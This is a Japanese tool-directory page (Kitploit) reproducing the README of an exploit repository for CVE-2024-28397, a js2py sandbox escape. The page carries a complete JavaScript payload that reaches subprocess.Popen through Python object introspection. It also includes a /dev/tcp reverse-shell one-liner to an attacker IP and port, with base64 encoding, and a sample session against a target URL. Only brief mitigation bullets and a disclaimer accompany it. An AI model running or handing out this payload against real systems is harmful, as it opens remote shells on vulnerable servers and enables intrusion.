Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
js2py-Sandbox-Escape-CVE-2024-28397-RCE — CVE-2024-28397 用のエクスプロイトスクリプト。これは js2py サンドボックスエスケープであり、任意の Python コードを実行してターゲットエンドポイント上でリバースシェルを起動します。 | Kitploit
ツール/GitHubGitHub/0xdtc/js2py-sandbox-escape-cve-2024-28397-rce
ペイロード生成脆弱性分析エクスプロイトウェブアプリケーション悪用学習と教育リモートアクセスツール
GitHub0xdtc/js2py-sandbox-escape-cve-2024-28397-rce

js2py-Sandbox-Escape-CVE-2024-28397-RCE

CVE-2024-28397 用のエクスプロイトスクリプト。これは js2py サンドボックスエスケープであり、任意の Python コードを実行してターゲットエンドポイント上でリバースシェルを起動します。

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
リポジトリを見る
350年前未レビュー

CVE-2024-28397 js2py サンドボックスエスケープエクスプロイト

js2py サンドボックスエスケープ脆弱性 (CVE-2024-28397) を標的としたエクスプロイトスクリプトのコレクションです。この脆弱性により、Python オブジェクトのイントロスペクションを通じて任意のコードが実行される可能性があります。

🔍 脆弱性の概要

js2py ライブラリには、JavaScript の Object.getOwnPropertyNames() メソッドを通じて内部 Python オブジェクトにアクセスすることで、攻撃者が任意の Python コードを実行できる重大なサンドボックスエスケープ脆弱性が含まれています。

技術的詳細

  • CVE ID: CVE-2024-28397
  • 影響を受けるライブラリ: js2py (JavaScript to Python トランスレータ)
  • 攻撃ベクトル: Python オブジェクトイントロスペクションによるサンドボックスエスケープ
  • 影響: リモートコード実行 (RCE)

📋 参考分析

このエクスプロイトは Marven11 による包括的な分析に基づいています:

  • 分析文書: CVE-2024-28397 js2py サンドボックスエスケープ分析

🛠️ エクスプロイトスクリプト

このリポジトリには3つの異なる実装が含まれています:

1. Bash スクリプト (exploit.sh)

curl と jq を使用した軽量な bash 実装。

2. Go スクリプト (exploit.go)

組み込み HTTP クライアントを備えたクロスプラットフォーム Go 実装。

🚀 クイックスタート

前提条件

  • Bash スクリプトの場合: curl, jq, base64
  • Go スクリプトの場合: Go 1.16+

使用方法

すべてのスクリプトはインタラクティブで、必要な情報を入力するよう促します:

root@kitploit:~
# Bash version
chmod +x exploit.sh
./exploit.sh

# Go version
go run exploit.go

インタラクティブプロンプト

各スクリプトは次の項目を尋ねます:

  1. ターゲットURL: 脆弱な js2py コードを実行しているエンドポイント
  2. あなたのIP: リバースシェル用のあなたのマシンのIPアドレス
  3. あなたのポート: リバースシェル接続用のポート番号

セッション例

root@kitploit:~
$ ./exploit.sh
Target URL: http://target.example.com:8000/run_code
Your IP: 10.10.14.3
Your Port: 9001
Sending to http://target.example.com:8000/run_code with reverse shell 10.10.14.3:9001
{"result": "executed"}

🎯 動作の仕組み

1. ペイロード生成

エクスプロイトは動的にリバースシェルコマンドを作成します:

root@kitploit:~
sh -i >& /dev/tcp/YOUR_IP/YOUR_PORT 0>&1

2. Base64 エンコーディング

シェルコマンドは安全な送信のために base64 エンコードされます:

root@kitploit:~
base64_payload=$(echo -n "$reverse_shell" | base64 -w 0)

3. JavaScript サンドボックスエスケープ

コアとなるエクスプロイトは JavaScript を使用して Python の内部オブジェクトにアクセスします:

root@kitploit:~
let cmd = "printf BASE64_PAYLOAD|base64 -d|bash";
let a = Object.getOwnPropertyNames({}).__class__.__base__.__getattribute__;
let obj = a(a(a,"__class__"), "__base__");
function findpopen(o) {
    for(let i in o.__subclasses__()) {
        let item = o.__subclasses__()[i];
        if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
            return item;
        }
        if(item.__name__ != "type") {
            let result = findpopen(item);
            if(result) return result;
        }
    }
}
let result = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate();

4. 実行フロー

  1. Object.getOwnPropertyNames({}) を通じて Python のオブジェクトシステムにアクセス
  2. __class__.__base__.__getattribute__ を経由して基底クラスに移動
  3. サブクラスから subprocess.Popen を検索
  4. Popen を通じて任意のシステムコマンドを実行

🛡️ 緩和策

  • js2py をパッチが適用されたバージョンに更新する
  • 適切な入力検証とサニタイゼーションを実装する
  • 安全なサンドボックス化の代替手段を使用する
  • 多層防御のセキュリティ対策を適用する

📚 教育的な目的

これらのスクリプトは教育および許可されたテスト目的でのみ提供されます。システムに対してテストを行う前に、適切な許可を得ていることを常に確認してください。

🔗 参考文献

  • CVE-2024-28397 公式エントリ
  • Marven11 の詳細分析
  • js2py GitHub リポジトリ

⚖️ 免責事項

このソフトウェアは教育および許可されたセキュリティテスト目的でのみ提供されます。ユーザーは適用される法律を遵守し、使用前に適切な許可を得る責任があります。

ツールをダウンロード